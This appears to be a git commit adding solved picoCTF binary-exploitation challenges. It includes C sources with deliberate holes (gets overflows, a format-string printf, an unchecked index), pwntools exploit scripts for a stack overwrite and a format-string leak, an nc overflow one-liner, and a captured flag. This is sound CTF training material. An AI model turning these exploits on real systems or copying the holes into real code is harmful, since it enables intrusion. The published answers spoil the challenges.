pwn: add already solved challenges
This commit is contained in:
parent
a02ad89612
commit
532e093122
|
@ -0,0 +1,21 @@
|
|||
$ nc saturn.picoctf.net 51109
|
||||
Hi, welcome to my echo chamber!
|
||||
Type '1' to enter a phrase into our database
|
||||
Type '2' to echo a phrase in our database
|
||||
Type '3' to exit the program
|
||||
1
|
||||
1
|
||||
Please enter your data:
|
||||
asdf
|
||||
asdf
|
||||
Please enter the length of your data:
|
||||
4
|
||||
4
|
||||
Your entry number is: 1
|
||||
Write successful, would you like to do anything else?
|
||||
2
|
||||
2
|
||||
Please enter the entry number of your data:
|
||||
0
|
||||
0
|
||||
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}
|
|
@ -0,0 +1,195 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <ctype.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
|
||||
#define WAIT 60
|
||||
|
||||
|
||||
static const char* flag = "[REDACTED]";
|
||||
|
||||
static char data[10][100];
|
||||
static int input_lengths[10];
|
||||
static int inputs = 0;
|
||||
|
||||
|
||||
|
||||
int tgetinput(char *input, unsigned int l)
|
||||
{
|
||||
fd_set input_set;
|
||||
struct timeval timeout;
|
||||
int ready_for_reading = 0;
|
||||
int read_bytes = 0;
|
||||
|
||||
if( l <= 0 )
|
||||
{
|
||||
printf("'l' for tgetinput must be greater than 0\n");
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
/* Empty the FD Set */
|
||||
FD_ZERO(&input_set );
|
||||
/* Listen to the input descriptor */
|
||||
FD_SET(STDIN_FILENO, &input_set);
|
||||
|
||||
/* Waiting for some seconds */
|
||||
timeout.tv_sec = WAIT; // WAIT seconds
|
||||
timeout.tv_usec = 0; // 0 milliseconds
|
||||
|
||||
/* Listening for input stream for any activity */
|
||||
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
|
||||
/* Here, first parameter is number of FDs in the set,
|
||||
* second is our FD set for reading,
|
||||
* third is the FD set in which any write activity needs to updated,
|
||||
* which is not required in this case.
|
||||
* Fourth is timeout
|
||||
*/
|
||||
|
||||
if (ready_for_reading == -1) {
|
||||
/* Some error has occured in input */
|
||||
printf("Unable to read your input\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (ready_for_reading) {
|
||||
read_bytes = read(0, input, l-1);
|
||||
if(input[read_bytes-1]=='\n'){
|
||||
--read_bytes;
|
||||
input[read_bytes]='\0';
|
||||
}
|
||||
if(read_bytes==0){
|
||||
printf("No data given.\n");
|
||||
return -4;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
} else {
|
||||
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
|
||||
return -3;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static void data_write() {
|
||||
char input[100];
|
||||
char len[4];
|
||||
long length;
|
||||
int r;
|
||||
|
||||
printf("Please enter your data:\n");
|
||||
r = tgetinput(input, 100);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
while (true) {
|
||||
printf("Please enter the length of your data:\n");
|
||||
r = tgetinput(len, 4);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((length = strtol(len, NULL, 10)) == 0) {
|
||||
puts("Please put in a valid length");
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (inputs > 10) {
|
||||
inputs = 0;
|
||||
}
|
||||
|
||||
strcpy(data[inputs], input);
|
||||
input_lengths[inputs] = length;
|
||||
|
||||
printf("Your entry number is: %d\n", inputs + 1);
|
||||
inputs++;
|
||||
}
|
||||
|
||||
|
||||
static void data_read() {
|
||||
char entry[4];
|
||||
long entry_number;
|
||||
char output[100];
|
||||
int r;
|
||||
|
||||
memset(output, '\0', 100);
|
||||
|
||||
printf("Please enter the entry number of your data:\n");
|
||||
r = tgetinput(entry, 4);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
|
||||
puts(flag);
|
||||
fseek(stdin, 0, SEEK_END);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
entry_number--;
|
||||
strncpy(output, data[entry_number], input_lengths[entry_number]);
|
||||
puts(output);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char input[3] = {'\0'};
|
||||
long command;
|
||||
int r;
|
||||
|
||||
puts("Hi, welcome to my echo chamber!");
|
||||
puts("Type '1' to enter a phrase into our database");
|
||||
puts("Type '2' to echo a phrase in our database");
|
||||
puts("Type '3' to exit the program");
|
||||
|
||||
while (true) {
|
||||
r = tgetinput(input, 3);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((command = strtol(input, NULL, 10)) == 0) {
|
||||
puts("Please put in a valid number");
|
||||
} else if (command == 1) {
|
||||
data_write();
|
||||
puts("Write successful, would you like to do anything else?");
|
||||
} else if (command == 2) {
|
||||
if (inputs == 0) {
|
||||
puts("No data yet");
|
||||
continue;
|
||||
}
|
||||
data_read();
|
||||
puts("Read successful, would you like to do anything else?");
|
||||
} else if (command == 3) {
|
||||
return 0;
|
||||
} else {
|
||||
puts("Please type either 1, 2 or 3");
|
||||
puts("Maybe breaking boundaries elsewhere will be helpful");
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
flag{FAKEFLAG}
|
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc saturn.picoctf.net 65443
|
Binary file not shown.
|
@ -0,0 +1,44 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#define FLAGSIZE_MAX 64
|
||||
|
||||
char flag[FLAGSIZE_MAX];
|
||||
|
||||
void sigsegv_handler(int sig) {
|
||||
printf("%s\n", flag);
|
||||
fflush(stdout);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void vuln(char *input){
|
||||
char buf2[16];
|
||||
strcpy(buf2, input);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(flag,FLAGSIZE_MAX,f);
|
||||
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
|
||||
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
|
||||
printf("Input: ");
|
||||
fflush(stdout);
|
||||
char buf1[100];
|
||||
gets(buf1);
|
||||
vuln(buf1);
|
||||
printf("The program will exit now\n");
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,54 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SIZE 0x100
|
||||
#define GOAL 0xdeadbeef
|
||||
|
||||
const char* HEADER =
|
||||
" ______________________________________________________________________\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
|
||||
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
|
||||
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
|
||||
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
|
||||
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
|
||||
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
|
||||
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
|
||||
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
|
||||
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
|
||||
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
|
||||
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
|
||||
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
long code = 0;
|
||||
char clutter[SIZE];
|
||||
|
||||
setbuf(stdout, NULL);
|
||||
setbuf(stdin, NULL);
|
||||
setbuf(stderr, NULL);
|
||||
|
||||
puts(HEADER);
|
||||
puts("My room is so cluttered...");
|
||||
puts("What do you see?");
|
||||
|
||||
gets(clutter);
|
||||
|
||||
|
||||
if (code == GOAL) {
|
||||
printf("code == 0x%llx: how did that happen??\n", GOAL);
|
||||
puts("take a flag for your troubles");
|
||||
system("cat flag.txt");
|
||||
} else {
|
||||
printf("code == 0x%llx\n", code);
|
||||
printf("code != 0x%llx :(\n", GOAL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
flag{FAKEFLAG}
|
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env nix-shell
|
||||
#!nix-shell -i python3 -p python3 python3Packages.pwntools
|
||||
|
||||
from pwn import *
|
||||
|
||||
exe = ELF("chall")
|
||||
|
||||
context.binary = exe
|
||||
|
||||
|
||||
def conn():
|
||||
if args.LOCAL:
|
||||
r = process([exe.path])
|
||||
if args.DEBUG:
|
||||
gdb.attach(r)
|
||||
else:
|
||||
r = remote("mars.picoctf.net", 31890)
|
||||
|
||||
return r
|
||||
|
||||
|
||||
def main():
|
||||
r = conn()
|
||||
# gdb.attach(r, 'break *main+143')
|
||||
print(r.recvuntil(b'What do you see?\n'))
|
||||
r.sendline((b'A' * 264) + p64(0xdeadbeef))
|
||||
print(r.recvall().decode())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -0,0 +1 @@
|
|||
CVE-2021-34527
|
|
@ -0,0 +1,43 @@
|
|||
#!/usr/bin/env nix-shell
|
||||
#!nix-shell -i python3 -p python3 python3Packages.pwntools
|
||||
|
||||
from pwn import *
|
||||
|
||||
ADDR = "mercury.picoctf.net 59616"
|
||||
HOST, PORT = ADDR.split(" ")
|
||||
|
||||
def main():
|
||||
for x in range(1,2):
|
||||
r = remote(HOST, PORT)
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
r.sendline(b'1')
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
r.recvline()
|
||||
|
||||
# r.sendline(f'%{x}$s'.encode())
|
||||
# print(f'%{x}$s'.encode())
|
||||
r.sendline(b"%x." * 99 + b"%x")
|
||||
r.recvline()
|
||||
result = r.recvline()
|
||||
print(result)
|
||||
unpacked = []
|
||||
for x in result.strip().split(b"."):
|
||||
x = int(x, 16)
|
||||
print(x)
|
||||
unpacked.extend([
|
||||
(x & 0x000000FF),
|
||||
(x & 0x0000FF00) >> 8,
|
||||
(x & 0x00FF0000) >> 16,
|
||||
(x & 0xFF000000) >> 24,
|
||||
])
|
||||
for x in unpacked:
|
||||
if x >= ord('!') and x <= ord('~'):
|
||||
print(chr(x), end='')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -0,0 +1,148 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
|
||||
#define FLAG_BUFFER 128
|
||||
#define MAX_SYM_LEN 4
|
||||
|
||||
typedef struct Stonks {
|
||||
int shares;
|
||||
char symbol[MAX_SYM_LEN + 1];
|
||||
struct Stonks *next;
|
||||
} Stonk;
|
||||
|
||||
typedef struct Portfolios {
|
||||
int money;
|
||||
Stonk *head;
|
||||
} Portfolio;
|
||||
|
||||
int view_portfolio(Portfolio *p) {
|
||||
if (!p) {
|
||||
return 1;
|
||||
}
|
||||
printf("\nPortfolio as of ");
|
||||
fflush(stdout);
|
||||
system("date"); // TODO: implement this in C
|
||||
fflush(stdout);
|
||||
|
||||
printf("\n\n");
|
||||
Stonk *head = p->head;
|
||||
if (!head) {
|
||||
printf("You don't own any stonks!\n");
|
||||
}
|
||||
while (head) {
|
||||
printf("%d shares of %s\n", head->shares, head->symbol);
|
||||
head = head->next;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
Stonk *pick_symbol_with_AI(int shares) {
|
||||
if (shares < 1) {
|
||||
return NULL;
|
||||
}
|
||||
Stonk *stonk = malloc(sizeof(Stonk));
|
||||
stonk->shares = shares;
|
||||
|
||||
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
|
||||
for (int i = 0; i <= MAX_SYM_LEN; i++) {
|
||||
if (i < AI_symbol_len) {
|
||||
stonk->symbol[i] = 'A' + (rand() % 26);
|
||||
} else {
|
||||
stonk->symbol[i] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
stonk->next = NULL;
|
||||
|
||||
return stonk;
|
||||
}
|
||||
|
||||
int buy_stonks(Portfolio *p) {
|
||||
if (!p) {
|
||||
return 1;
|
||||
}
|
||||
char api_buf[FLAG_BUFFER];
|
||||
FILE *f = fopen("api","r");
|
||||
if (!f) {
|
||||
printf("Flag file not found. Contact an admin.\n");
|
||||
exit(1);
|
||||
}
|
||||
fgets(api_buf, FLAG_BUFFER, f);
|
||||
|
||||
int money = p->money;
|
||||
int shares = 0;
|
||||
Stonk *temp = NULL;
|
||||
printf("Using patented AI algorithms to buy stonks\n");
|
||||
while (money > 0) {
|
||||
shares = (rand() % money) + 1;
|
||||
temp = pick_symbol_with_AI(shares);
|
||||
temp->next = p->head;
|
||||
p->head = temp;
|
||||
money -= shares;
|
||||
}
|
||||
printf("Stonks chosen\n");
|
||||
|
||||
// TODO: Figure out how to read token from file, for now just ask
|
||||
|
||||
char *user_buf = malloc(300 + 1);
|
||||
printf("What is your API token?\n");
|
||||
scanf("%300s", user_buf);
|
||||
printf("Buying stonks with token:\n");
|
||||
printf(user_buf);
|
||||
|
||||
// TODO: Actually use key to interact with API
|
||||
|
||||
view_portfolio(p);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Portfolio *initialize_portfolio() {
|
||||
Portfolio *p = malloc(sizeof(Portfolio));
|
||||
p->money = (rand() % 2018) + 1;
|
||||
p->head = NULL;
|
||||
return p;
|
||||
}
|
||||
|
||||
void free_portfolio(Portfolio *p) {
|
||||
Stonk *current = p->head;
|
||||
Stonk *next = NULL;
|
||||
while (current) {
|
||||
next = current->next;
|
||||
free(current);
|
||||
current = next;
|
||||
}
|
||||
free(p);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
setbuf(stdout, NULL);
|
||||
srand(time(NULL));
|
||||
Portfolio *p = initialize_portfolio();
|
||||
if (!p) {
|
||||
printf("Memory failure\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int resp = 0;
|
||||
|
||||
printf("Welcome back to the trading app!\n\n");
|
||||
printf("What would you like to do?\n");
|
||||
printf("1) Buy some stonks!\n");
|
||||
printf("2) View my portfolio\n");
|
||||
scanf("%d", &resp);
|
||||
|
||||
if (resp == 1) {
|
||||
buy_stonks(p);
|
||||
} else if (resp == 2) {
|
||||
view_portfolio(p);
|
||||
}
|
||||
|
||||
free_portfolio(p);
|
||||
printf("Goodbye!\n");
|
||||
|
||||
exit(0);
|
||||
}
|
Loading…
Reference in New Issue